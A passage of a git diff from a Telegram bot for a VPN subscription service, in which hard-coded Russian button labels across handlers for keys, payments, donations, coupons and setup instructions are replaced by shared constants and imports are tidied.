Скачать Android" -IMPORT_IOS = "🍏 Подключить" -IMPORT_ANDROID = "🤖 Подключить" -PC_BUTTON = "💻 Компьютеры" -TV_BUTTON = "📺 Андроид TV" diff --git a/handlers/buttons/gifts.py b/handlers/buttons/gifts.py deleted file mode 100644 index 38f6a299..00000000 --- a/handlers/buttons/gifts.py +++ /dev/null @@ -1,9 +0,0 @@ -GIFT = "🎁 Подарить подписку" -MY_GIFTS = "🎁 Мои подарки" -PROFILE = "👤 Личный кабинет" -BACK = "В меню подарков" -GIFTS_ABOUT = "Дарите подарки и следите, чтобы они дошли до адресата! 🎄" -SHARE_GIFT = "🎁 Поделиться подарком" -APPLY = "✅ Подтвердить" -CANCEL = "❌ Отмена" -NO_GIFTS = "У вас нет подарков." diff --git a/handlers/buttons/notification.py b/handlers/buttons/notification.py deleted file mode 100644 index 09ad016b..00000000 --- a/handlers/buttons/notification.py +++ /dev/null @@ -1,3 +0,0 @@ -RENEW_KEY = "🔄 Продлить подписку" -ADD_KEY = "➕ Добавить подписку" -PROFILE = "👤 Личный кабинет" diff --git a/handlers/buttons/profile.py b/handlers/buttons/profile.py deleted file mode 100644 index ffde912a..00000000 --- a/handlers/buttons/profile.py +++ /dev/null @@ -1,10 +0,0 @@ -ADD_SUB = "➕ Подписка" -MY_SUBS = "📱 Мои подписки" -BALANCE = "💰 Баланс" -BALANCE_HISTORY = "📊 История пополнений" -PAYMENT = "💳 Пополнить баланс" -INVITE = "👥 Пригласить" -GIFTS = "🎁 Подарить" -TARRIFS = "💡 Тарифы" -INSTRUCTIONS = "📘 Инструкции" -MAIN_MENU = "⬅️ Главное меню" diff --git a/handlers/buttons/yookassa.py b/handlers/buttons/yookassa.py deleted file mode 100644 index 5aaded81..00000000 --- a/handlers/buttons/yookassa.py +++ /dev/null @@ -1,7 +0,0 @@ -PAY = "Пополнить" -PAY_2 = "Оплатить" -BACK = "⬅️ Назад" -CUSTOM_SUM = "💰 Ввести свою сумму" -CUSTOM_SUM_ANSWER = "Пожалуйста, введите сумму пополнения." -PROFILE = "👤 Личный кабинет" -DEFAULT_PAYMENT_MESSAGE = "Вы выбрали пополнение на {amount} рублей. Перейдите по ссылке для оплаты:" diff --git a/handlers/captcha.py b/handlers/captcha.py index 6a494a94..2c8ef40b 100644 --- a/handlers/captcha.py +++ b/handlers/captcha.py @@ -1,5 +1,6 @@ import random import secrets + from typing import Any from aiogram import F, Router @@ -8,11 +9,12 @@ from aiogram.types import CallbackQuery, Message from aiogram.utils.keyboard import InlineKeyboardBuilder from config import CAPTCHA_EMOJIS - from handlers.texts import CAPTCHA_PROMPT_MSG from logger import logger + from .utils import edit_or_send_message + router = Router() diff --git a/handlers/coupons.py b/handlers/coupons.py index 42d2b5f6..8632bd97 100644 --- a/handlers/coupons.py +++ b/handlers/coupons.py @@ -13,6 +13,7 @@ from database import ( update_balance, update_coupon_usage_count, ) +from handlers.buttons import MAIN_MENU from handlers.texts import ( COUPON_ACTIVATED_SUCCESS_MSG, COUPON_ALREADY_USED_MSG, @@ -34,7 +35,7 @@ router = Router() @router.message(F.text == "/activate_coupon") async def handle_activate_coupon(callback_query_or_message: Message | CallbackQuery, state: FSMContext): builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) if isinstance(callback_query_or_message, CallbackQuery): target_message = callback_query_or_message.message @@ -56,7 +57,7 @@ async def process_coupon_code(message: Message, state: FSMContext, session: Any) activation_result = await activate_coupon(message.chat.id, coupon_code, session) builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) await message.answer(activation_result, reply_markup=builder.as_markup()) await state.clear() diff --git a/handlers/donate.py b/handlers/donate.py index 77c0d02e..9360c7f6 100644 --- a/handlers/donate.py +++ b/handlers/donate.py @@ -5,7 +5,9 @@ from aiogram.types import CallbackQuery, InlineKeyboardButton, LabeledPrice, Mes from aiogram.utils.keyboard import InlineKeyboardBuilder from config import RUB_TO_XTR +from handlers.buttons import BACK, MAIN_MENU from logger import logger + from .utils import edit_or_send_message @@ -30,7 +32,7 @@ async def process_donate(callback_query: CallbackQuery, state: FSMContext): callback_data="enter_custom_donate_amount", ) ) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) text = ( "🌟 Поддержите наш проект! 💪\n\n" @@ -48,7 +50,7 @@ async def process_donate(callback_query: CallbackQuery, state: FSMContext): @router.callback_query(F.data == "enter_custom_donate_amount") async def process_enter_donate_amount(callback_query: CallbackQuery, state: FSMContext): builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="donate")) + builder.row(InlineKeyboardButton(text=BACK, callback_data="donate")) text = "💸 Введите сумму доната в рублях:" await edit_or_send_message( @@ -74,7 +76,7 @@ async def process_donate_amount_input(message: Message, state: FSMContext): try: builder = InlineKeyboardBuilder() builder.row(InlineKeyboardButton(text="Задонатить", pay=True)) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="donate")) + builder.row(InlineKeyboardButton(text=BACK, callback_data="donate")) await message.answer_invoice( title=f"Донат проекту {amount} рублей", @@ -102,7 +104,7 @@ async def on_successful_donate(message: Message, state: FSMContext): try: amount = float(message.successful_payment.invoice_payload.split("_")[0]) builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) await message.answer( text=f"🙏 Спасибо за донат {amount} рублей! Ваша поддержка очень важна для нас. 💖", reply_markup=builder.as_markup(), diff --git a/handlers/instructions/__init__.py b/handlers/instructions/__init__.py index 06350a7c..3756810c 100644 --- a/handlers/instructions/__init__.py +++ b/handlers/instructions/__init__.py @@ -4,6 +4,7 @@ from aiogram import Router from .instructions import router as instructions_router + router = Router(name="instructions_main_router") router.include_routers( diff --git a/handlers/instructions/instructions.py b/handlers/instructions/instructions.py index 2b35d98b..f436d7fc 100644 --- a/handlers/instructions/instructions.py +++ b/handlers/instructions/instructions.py @@ -1,4 +1,5 @@ import os + from typing import Any from aiogram import F, Router @@ -11,6 +12,15 @@ from aiogram.utils.keyboard import InlineKeyboardBuilder from config import CONNECT_MACOS, CONNECT_WINDOWS, SUPPORT_CHAT_URL from database import get_key_details +from handlers.buttons import ( + BACK, + CONNECT_MACOS_BUTTON, + CONNECT_WINDOWS_BUTTON, + MAIN_MENU, + SUPPORT, + TV_CONTINUE, + TV_INSTRUCTIONS, +) from handlers.texts import ( CONNECT_TV_TEXT, INSTRUCTIONS, @@ -20,6 +30,7 @@ from handlers.texts import ( ) from handlers.utils import edit_or_send_message + router = Router() @@ -30,8 +41,8 @@ async def send_instructions(callback_query_or_message: CallbackQuery | Message): image_path = os.path.join("img", "instructions.jpg") builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="💬 Поддержка", url=SUPPORT_CHAT_URL)) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=SUPPORT, url=SUPPORT_CHAT_URL)) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) if isinstance(callback_query_or_message, CallbackQuery): target_message = callback_query_or_message.message @@ -52,7 +63,7 @@ async def process_connect_pc(callback_query: CallbackQuery, session: Any): record = await get_key_details(key_name, session) if not record: builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) await edit_or_send_message( target_message=callback_query.message, text="❌ Ключ не найден. Проверьте имя ключа. 🔍", @@ -66,11 +77,11 @@ async def process_connect_pc(callback_query: CallbackQuery, session: Any): instruction_message = f"{key_message_text}{INSTRUCTION_PC}" builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="💻 Подключить Windows", url=f"{CONNECT_WINDOWS}{key}")) - builder.row(InlineKeyboardButton(text="💻 Подключить MacOS", url=f"{CONNECT_MACOS}{key}")) - builder.row(InlineKeyboardButton(text="🆘 Поддержка", url=SUPPORT_CHAT_URL)) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data=f"view_key|{key_name}")) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=CONNECT_WINDOWS_BUTTON, url=f"{CONNECT_WINDOWS}{key}")) + builder.row(InlineKeyboardButton(text=CONNECT_MACOS_BUTTON, url=f"{CONNECT_MACOS}{key}")) + builder.row(InlineKeyboardButton(text=SUPPORT, url=SUPPORT_CHAT_URL)) + builder.row(InlineKeyboardButton(text=BACK, callback_data=f"view_key|{key_name}")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) await edit_or_send_message( target_message=callback_query.message, @@ -85,9 +96,9 @@ async def process_connect_tv(callback_query: CallbackQuery): key_name = callback_query.data.split("|")[1] builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="▶ Продолжить", callback_data=f"continue_tv|{key_name}")) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data=f"view_key|{key_name}")) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=TV_CONTINUE, callback_data=f"continue_tv|{key_name}")) + builder.row(InlineKeyboardButton(text=BACK, callback_data=f"view_key|{key_name}")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) await edit_or_send_message( target_message=callback_query.message, @@ -107,9 +118,9 @@ async def process_continue_tv(callback_query: CallbackQuery, session: Any): message_text = SUBSCRIPTION_DETAILS_TEXT.format(subscription_link=subscription_link) builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="📖 Полная инструкция", url="https://vpn4tv.com/quick-guide.html")) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data=f"connect_tv|{key_name}")) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=TV_INSTRUCTIONS, url="https://vpn4tv.com/quick-guide.html")) + builder.row(InlineKeyboardButton(text=BACK, callback_data=f"connect_tv|{key_name}")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) await edit_or_send_message( target_message=callback_query.message, text=message_text, reply_markup=builder.as_markup(), media_path=None diff --git a/handlers/keys/__init__.py b/handlers/keys/__init__.py index 064024e6..6a5ecfac 100644 --- a/handlers/keys/__init__.py +++ b/handlers/keys/__init__.py @@ -5,6 +5,7 @@ from aiogram import Router from .key_management import router as management_router from .keys import router as keys_router + router = Router(name="keys_main_router") router.include_routers( diff --git a/handlers/keys/key_management.py b/handlers/keys/key_management.py index ee5fe3ff..ac9c4c42 100644 --- a/handlers/keys/key_management.py +++ b/handlers/keys/key_management.py @@ -1,18 +1,18 @@ import asyncio import uuid + from datetime import datetime, timedelta from typing import Any import pytz + from aiogram import F, Router from aiogram.fsm.context import FSMContext from aiogram.types import CallbackQuery, InlineKeyboardButton, Message from aiogram.utils.keyboard import InlineKeyboardBuilder -from handlers.payments.yookassa_pay import process_custom_amount_input from py3xui import AsyncApi from bot import bot -from panels.three_xui import delete_client from config import ( ADMIN_PASSWORD, ADMIN_USERNAME, @@ -41,16 +41,23 @@ from database import ( update_balance, update_trial, ) -from handlers.buttons.add_subscribe import ( +from handlers.buttons import ( + BACK, + CONNECT_DEVICE, + CONNECT_PHONE, DOWNLOAD_ANDROID_BUTTON, DOWNLOAD_IOS_BUTTON, IMPORT_ANDROID, IMPORT_IOS, + MAIN_MENU, + PAYMENT, PC_BUTTON, + SUPPORT, TV_BUTTON, ) from handlers.keys.key_utils import create_client_on_server, create_key_on_cluster from handlers.payments.robokassa_pay import handle_custom_amount_input +from handlers.payments.yookassa_pay import process_custom_amount_input from handlers.texts import ( CREATING_CONNECTION_MSG, DISCOUNTS, @@ -61,6 +68,8 @@ from handlers.texts import ( ) from handlers.utils import edit_or_send_message, generate_random_email, get_least_loaded_cluster from logger import logger +from panels.three_xui import delete_client + router = Router() @@ -124,7 +133,7 @@ async def handle_key_creation( callback_data=f"select_plan_{plan_id}", ) ) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) if isinstance(message_or_query, CallbackQuery): target_message = message_or_query.message @@ -171,8 +180,8 @@ async def select_tariff_plan(callback_query: CallbackQuery, session: Any): await handle_custom_amount_input(callback_query, session) else: builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="💳 Пополнить баланс", callback_data="pay")) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=PAYMENT, callback_data="pay")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) await edit_or_send_message( target_message=callback_query.message, text=INSUFFICIENT_FUNDS_MSG.format(required_amount=required_amount), @@ -231,7 +240,7 @@ async def create_key( else: callback_data = f"select_country|{country}|{ts}" builder.row(InlineKeyboardButton(text=country, callback_data=callback_data)) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) if target_message: await edit_or_send_message( @@ -293,9 +302,9 @@ async def create_key( return builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="💬 Поддержка", url=SUPPORT_CHAT_URL)) + builder.row(InlineKeyboardButton(text=SUPPORT, url=SUPPORT_CHAT_URL)) if CONNECT_PHONE_BUTTON: - builder.row(InlineKeyboardButton(text="📱 Подключить телефон", callback_data=f"connect_phone|{key_name}")) + builder.row(InlineKeyboardButton(text=CONNECT_PHONE, callback_data=f"connect_phone|{key_name}")) builder.row( InlineKeyboardButton(text=PC_BUTTON, callback_data=f"connect_pc|{email}"), InlineKeyboardButton(text=TV_BUTTON, callback_data=f"connect_tv|{email}"), @@ -303,11 +312,11 @@ async def create_key( else: builder.row( InlineKeyboardButton( - text="📲 Подключить устройство", + text=CONNECT_DEVICE, callback_data=f"connect_device|{key_name}", ) ) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) expiry_time_local = expiry_time.replace(tzinfo=None).astimezone(moscow_tz) remaining_time = expiry_time_local - datetime.now(moscow_tz) @@ -354,7 +363,7 @@ async def change_location_callback(callback_query: CallbackQuery, session: Any): for country in countries: callback_data = f"select_country|{country}|{ts}|{old_key_name}" builder.row(InlineKeyboardButton(text=country, callback_data=callback_data)) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data=f"view_key|{old_key_name}")) + builder.row(InlineKeyboardButton(text=BACK, callback_data=f"view_key|{old_key_name}")) await edit_or_send_message( target_message=callback_query.message, @@ -516,9 +525,9 @@ async def finalize_key_creation( return builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="💬 Поддержка", url=SUPPORT_CHAT_URL)) + builder.row(InlineKeyboardButton(text=SUPPORT, url=SUPPORT_CHAT_URL)) if CONNECT_PHONE_BUTTON: - builder.row(InlineKeyboardButton(text="📱 Подключить телефон", callback_data=f"connect_phone|{key_name}")) + builder.row(InlineKeyboardButton(text=CONNECT_PHONE, callback_data=f"connect_phone|{key_name}")) else: builder.row( InlineKeyboardButton(text=DOWNLOAD_IOS_BUTTON, url=DOWNLOAD_IOS), @@ -532,7 +541,7 @@ async def finalize_key_creation( InlineKeyboardButton(text=PC_BUTTON, callback_data=f"connect_pc|{email}"), InlineKeyboardButton(text=TV_BUTTON, callback_data=f"connect_tv|{email}"), ) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) remaining_time = expiry_time - datetime.now(moscow_tz) days = remaining_time.days diff --git a/handlers/keys/key_utils.py b/handlers/keys/key_utils.py index 054dd7e6..17fcaafb 100644 --- a/handlers/keys/key_utils.py +++ b/handlers/keys/key_utils.py @@ -1,17 +1,23 @@ import asyncio + from typing import Any import asyncpg + from py3xui import AsyncApi from config import ADMIN_PASSWORD, ADMIN_USERNAME, DATABASE_URL, LIMIT_IP, PUBLIC_LINK, SUPERNODE, TOTAL_GB -from py3xui import AsyncApi - -from panels.three_xui import ClientConfig, add_client, delete_client, extend_client_key, get_client_traffic, toggle_client -from config import ADMIN_PASSWORD, ADMIN_USERNAME, LIMIT_IP, PUBLIC_LINK, SUPERNODE, TOTAL_GB, DATABASE_URL from database import get_servers, store_key from handlers.utils import get_least_loaded_cluster from logger import logger +from panels.three_xui import ( + ClientConfig, + add_client, + delete_client, + extend_client_key, + get_client_traffic, + toggle_client, +) async def create_key_on_cluster( diff --git a/handlers/keys/keys.py b/handlers/keys/keys.py index 9f11f564..fddbdcdf 100644 --- a/handlers/keys/keys.py +++ b/handlers/keys/keys.py @@ -2,19 +2,21 @@ import asyncio import locale import os import time + from datetime import datetime, timedelta +from io import BytesIO from typing import Any import asyncpg import pytz -from aiogram import F, Router, types -from aiogram.types import CallbackQuery, InlineKeyboardButton, Message -from aiogram.exceptions import TelegramBadRequest -from aiogram.utils.keyboard import InlineKeyboardBuilder -from handlers.payments.yookassa_pay import process_custom_amount_input - import qrcode -from io import BytesIO + +from aiogram import F, Router, types +from aiogram.exceptions import TelegramBadRequest +from aiogram.fsm.context import FSMContext +from aiogram.fsm.state import State, StatesGroup +from aiogram.types import CallbackQuery, InlineKeyboardButton, Message +from aiogram.utils.keyboard import InlineKeyboardBuilder from bot import bot from config import ( @@ -27,12 +29,12 @@ from config import ( ENABLE_DELETE_KEY_BUTTON, ENABLE_UPDATE_SUBSCRIPTION_BUTTON, PUBLIC_LINK, + QRCODE, RENEWAL_PLANS, + TOGGLE_CLIENT, TOTAL_GB, USE_COUNTRY_SELECTION, USE_NEW_PAYMENT_FLOW, - TOGGLE_CLIENT, - QRCODE ) from database import ( check_server_name_by_cluster, @@ -46,44 +48,65 @@ from database import ( update_balance, update_key_expiry, ) -from handlers.buttons.add_subscribe import ( +from handlers.buttons import ( + ADD_SUB, + ALIAS, + ANDROID, + APPLY, + BACK, + CANCEL, + CHANGE_LOCATION, + CONNECT_DEVICE, + CONNECT_PHONE, + DELETE, DOWNLOAD_ANDROID_BUTTON, DOWNLOAD_IOS_BUTTON, + FREEZE, IMPORT_ANDROID, IMPORT_IOS, + IPHONE, + MAIN_MENU, + MANUAL_INSTRUCTIONS, + PAYMENT, + PC, PC_BUTTON, + QR, + RENEW, + RENEW_FULL, + TV, TV_BUTTON, + UNFREEZE, ) from handlers.keys.key_utils import ( delete_key_from_cluster, renew_key_in_cluster, - update_subscription, toggle_client_on_cluster, + update_subscription, ) from handlers.payments.robokassa_pay import handle_custom_amount_input +from handlers.payments.yookassa_pay import process_custom_amount_input from handlers.texts import ( + ANDROID_DESCRIPTION_TEMPLATE, + DELETE_KEY_CONFIRM_MSG, DISCOUNTS, + FREEZE_SUBSCRIPTION_CONFIRM_MSG, + FROZEN_SUBSCRIPTION_MSG, + INSUFFICIENT_FUNDS_RENEWAL_MSG, + IOS_DESCRIPTION_TEMPLATE, + KEY_DELETED_MSG_SIMPLE, KEY_NOT_FOUND_MSG, + NO_SUBSCRIPTIONS_MSG, PLAN_SELECTION_MSG, SUBSCRIPTION_DESCRIPTION, - SUCCESS_RENEWAL_MSG, - key_message, - NO_SUBSCRIPTIONS_MSG, - FROZEN_SUBSCRIPTION_MSG, - UNFREEZE_SUBSCRIPTION_CONFIRM_MSG, - SUBSCRIPTION_UNFROZEN_MSG, - FREEZE_SUBSCRIPTION_CONFIRM_MSG, SUBSCRIPTION_FROZEN_MSG, - DELETE_KEY_CONFIRM_MSG, - KEY_DELETED_MSG_SIMPLE, - INSUFFICIENT_FUNDS_RENEWAL_MSG, - ANDROID_DESCRIPTION_TEMPLATE, - IOS_DESCRIPTION_TEMPLATE + SUBSCRIPTION_UNFROZEN_MSG, + SUCCESS_RENEWAL_MSG, + UNFREEZE_SUBSCRIPTION_CONFIRM_MSG, + key_message, ) from handlers.utils import edit_or_send_message, handle_error from logger import logger -from aiogram.fsm.state import State, StatesGroup -from aiogram.fsm.context import FSMContext + locale.setlocale(locale.LC_TIME, "ru_RU.UTF-8") @@ -139,7 +162,7 @@ def build_keys_response(records): formatted_date_full = "без срока действия" key_button = InlineKeyboardButton(text=f"🔑 {key_display}", callback_data=f"view_key|{email}") - rename_button = InlineKeyboardButton(text="✏️", callback_data=f"rename_key|{client_id}") + rename_button = InlineKeyboardButton(text=ALIAS, callback_data=f"rename_key|{client_id}") builder.row(key_button, rename_button) response_message += f"• {key_display} ({formatted_date_full})\n" @@ -148,8 +171,8 @@ def build_keys_response(records): else: response_message = NO_SUBSCRIPTIONS_MSG - builder.row(InlineKeyboardButton(text="➕ Добавить подписку", callback_data="create_key")) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=ADD_SUB, callback_data="create_key")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) inline_keyboard = builder.as_markup() return inline_keyboard, response_message @@ -163,9 +186,7 @@ async def handle_rename_key(callback: CallbackQuery, state: FSMContext): await state.update_data(client_id=client_id, target_message=callback.message) await edit_or_send_message( - target_message=callback.message, - text="✏️ Введите новое имя подписки (до 10 символов):", - reply_markup=None + target_message=callback.message, text="✏️ Введите новое имя подписки (до 10 символов):", reply_markup=None ) @@ -211,12 +232,12 @@ async def process_callback_view_key(callback_query: CallbackQuery, session: Any) builder = InlineKeyboardBuilder() builder.row( InlineKeyboardButton( - text="🟢 Разморозить подписку", + text=UNFREEZE, callback_data=f"unfreeze_subscription|{key_name}", ) ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="view_keys")) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=BACK, callback_data="view_keys")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) keyboard = builder.as_markup() image_path = os.path.join("img", "pic_view.jpg") @@ -272,53 +293,49 @@ async def process_callback_view_key(callback_query: CallbackQuery, session: Any) if CONNECT_PHONE_BUTTON: builder.row( InlineKeyboardButton( - text="📱 Подключить телефон", + text=CONNECT_PHONE, callback_data=f"connect_phone|{key_name}", ) ) builder.row( - InlineKeyboardButton(text=PC_BUTTON, callback_data=f"connect_pc|{key_name}"), - InlineKeyboardButton(text=TV_BUTTON, callback_data=f"connect_tv|{key_name}"), - ) + InlineKeyboardButton(text=PC_BUTTON, callback_data=f"connect_pc|{key_name}"), + InlineKeyboardButton(text=TV_BUTTON, callback_data=f"connect_tv|{key_name}"), + ) else: builder.row( InlineKeyboardButton( - text="📲 Подключить устройство", + text=CONNECT_DEVICE, callback_data=f"connect_device|{key_name}", ) ) if QRCODE: builder.row( InlineKeyboardButton( - text="📷 Показать QR-код", + text=QR, callback_data=f"show_qr|{key}", ) ) if ENABLE_DELETE_KEY_BUTTON: builder.row( - InlineKeyboardButton(text="⏳ Продлить", callback_data=f"renew_key|{key_name}"), - InlineKeyboardButton(text="❌ Удалить", callback_data=f"delete_key|{key_name}"), + InlineKeyboardButton(text=RENEW, callback_data=f"renew_key|{key_name}"), + InlineKeyboardButton(text=DELETE, callback_data=f"delete_key|{key_name}"), ) else: - builder.row( - InlineKeyboardButton(text="⏳ Продлить подписку", callback_data=f"renew_key|{key_name}") - ) + builder.row(InlineKeyboardButton(text=RENEW_FULL, callback_data=f"renew_key|{key_name}")) if USE_COUNTRY_SELECTION: - builder.row( - InlineKeyboardButton(text="🌍 Сменить локацию", callback_data=f"change_location|{key_name}") - ) + builder.row(InlineKeyboardButton(text=CHANGE_LOCATION, callback_data=f"change_location|{key_name}")) if TOGGLE_CLIENT: builder.row( InlineKeyboardButton( - text="🛑 Заморозить подписку", + text=FREEZE, callback_data=f"freeze_subscription|{key_name}", ) ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="view_keys")) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=BACK, callback_data="view_keys")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) keyboard = builder.as_markup() image_path = os.path.join("img", "pic_view.jpg") @@ -371,8 +388,8 @@ async def show_qr_code(callback_query: types.CallbackQuery, session: Any): f.write(buffer.read()) builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data=f"view_key|{record['email']}")) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=BACK, callback_data=f"view_key|{record['email']}")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) await edit_or_send_message( target_message=callback_query.message, @@ -388,20 +405,18 @@ async def show_qr_code(callback_query: types.CallbackQuery, session: Any): await callback_query.message.answer("❌ Произошла ошибка при создании QR-кода.") - - @router.callback_query(F.data.startswith("connect_device|")) async def handle_connect_device(callback_query: CallbackQuery): try: key_name = callback_query.data.split("|")[1] builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="🍏 Айфон", callback_data=f"connect_ios|{key_name}")) - builder.row(InlineKeyboardButton(text="🤖 Андроид", callback_data=f"connect_android|{key_name}")) - builder.row(InlineKeyboardButton(text="💻 Компьютер", callback_data=f"connect_pc|{key_name}")) - builder.row(InlineKeyboardButton(text="📺 Телевизор", callback_data=f"connect_tv|{key_name}")) - # builder.row(InlineKeyboardButton(text="📶 Роутер", callback_data=f"connect_router|{key_name}")) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data=f"view_key|{key_name}")) + builder.row(InlineKeyboardButton(text=IPHONE, callback_data=f"connect_ios|{key_name}")) + builder.row(InlineKeyboardButton(text=ANDROID, callback_data=f"connect_android|{key_name}")) + builder.row(InlineKeyboardButton(text=PC, callback_data=f"connect_pc|{key_name}")) + builder.row(InlineKeyboardButton(text=TV, callback_data=f"connect_tv|{key_name}")) + # builder.row(InlineKeyboardButton(text=ROUTER, callback_data=f"connect_router|{key_name}")) + builder.row(InlineKeyboardButton(text=BACK, callback_data=f"view_key|{key_name}")) await edit_or_send_message( target_message=callback_query.message, @@ -422,11 +437,11 @@ async def process_callback_unfreeze_subscription(callback_query: CallbackQuery, builder = InlineKeyboardBuilder() builder.row( InlineKeyboardButton( - text="✅ Подтвердить", + text=APPLY, callback_data=f"unfreeze_subscription_confirm|{key_name}", ), InlineKeyboardButton( - text="❌ Отмена", + text=CANCEL, callback_data=f"view_key|{key_name}", ), ) @@ -486,7 +501,7 @@ async def process_callback_unfreeze_subscription_confirm(callback_query: Callbac ) text_ok = SUBSCRIPTION_UNFROZEN_MSG builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data=f"view_key|{key_name}")) + builder.row(InlineKeyboardButton(text=BACK, callback_data=f"view_key|{key_name}")) await edit_or_send_message( target_message=callback_query.message, text=text_ok, @@ -497,7 +512,7 @@ async def process_callback_unfreeze_subscription_confirm(callback_query: Callbac f"Произошла ошибка при включении подписки.\nДетали: {result.get('error') or result.get('results')}" ) builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data=f"view_key|{key_name}")) + builder.row(InlineKeyboardButton(text=BACK, callback_data=f"view_key|{key_name}")) await edit_or_send_message( target_message=callback_query.message, text=text_error, @@ -513,7 +528,6 @@ async def process_callback_freeze_subscription(callback_query: CallbackQuery, se """ Показывает пользователю диалог подтверждения заморозки (отключения) подписки. """ - tg_id = callback_query.message.chat.id key_name = callback_query.data.split("|")[1] confirm_text = FREEZE_SUBSCRIPTION_CONFIRM_MSG @@ -521,11 +535,11 @@ async def process_callback_freeze_subscription(callback_query: CallbackQuery, se builder = InlineKeyboardBuilder() builder.row( InlineKeyboardButton( - text="✅ Подтвердить", + text=APPLY, callback_data=f"freeze_subscription_confirm|{key_name}", ), InlineKeyboardButton( - text="❌ Отмена", + text=CANCEL, callback_data=f"view_key|{key_name}", ), ) @@ -563,7 +577,7 @@ async def process_callback_freeze_subscription_confirm(callback_query: CallbackQ if time_left < 0: time_left = 0 - update_result = await session.execute( + await session.execute( """ UPDATE keys SET expiry_time = $1, @@ -578,7 +592,7 @@ async def process_callback_freeze_subscription_confirm(callback_query: CallbackQ text_ok = SUBSCRIPTION_FROZEN_MSG builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data=f"view_key|{key_name}")) + builder.row(InlineKeyboardButton(text=BACK, callback_data=f"view_key|{key_name}")) await edit_or_send_message( target_message=callback_query.message, text=text_ok, @@ -589,7 +603,7 @@ async def process_callback_freeze_subscription_confirm(callback_query: CallbackQ f"Произошла ошибка при заморозке подписки.\nДетали: {result.get('error') or result.get('results')}" ) builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data=f"view_key|{key_name}")) + builder.row(InlineKeyboardButton(text=BACK, callback_data=f"view_key|{key_name}")) await edit_or_send_message( target_message=callback_query.message, text=text_error, @@ -638,8 +652,8 @@ async def process_callback_connect_phone(callback_query: CallbackQuery): InlineKeyboardButton(text=IMPORT_IOS, url=f"{CONNECT_IOS}{key_link}"), InlineKeyboardButton(text=IMPORT_ANDROID, url=f"{CONNECT_ANDROID}{key_link}"), ) - builder.row(InlineKeyboardButton(text="📖 Ручная установка", callback_data="instructions")) - 